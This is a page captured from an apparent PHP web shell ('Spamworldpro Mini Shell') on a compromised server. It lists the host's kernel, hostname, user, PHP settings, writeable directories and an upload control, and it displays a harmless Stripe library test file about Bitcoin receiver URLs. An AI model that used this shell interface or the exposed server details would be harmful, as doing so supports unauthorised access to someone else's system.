Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/job-board.corals.io/vendor/stripe/stripe-php/tests/Stripe/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/job-board.corals.io/vendor/stripe/stripe-php/tests/Stripe/BitcoinReceiverTest.php
<?php

namespace Stripe;

class BitcoinReceiverTest extends TestCase
{
    public function testUrls()
    {
        $classUrl = BitcoinReceiver::classUrl('Stripe_BitcoinReceiver');
        $this->assertSame($classUrl, '/v1/bitcoin/receivers');
        $receiver = new BitcoinReceiver('abcd/efgh');
        $instanceUrl = $receiver->instanceUrl();
        $this->assertSame($instanceUrl, '/v1/bitcoin/receivers/abcd%2Fefgh');
    }

    //
    // Note that there are no tests of consequences in here. The Bitcoin
    // endpoints have been deprecated in favor of the generic sources API. The
    // BitcoinReceiver class has been left in place for some backwards
    // compatibility, but all users should be migrating off of it. The tests
    // have been removed because we no longer have the API endpoints required
    // to run them.
    //
    // [1] https://stripe.com/docs/sources
    //
}

Spamworldpro Mini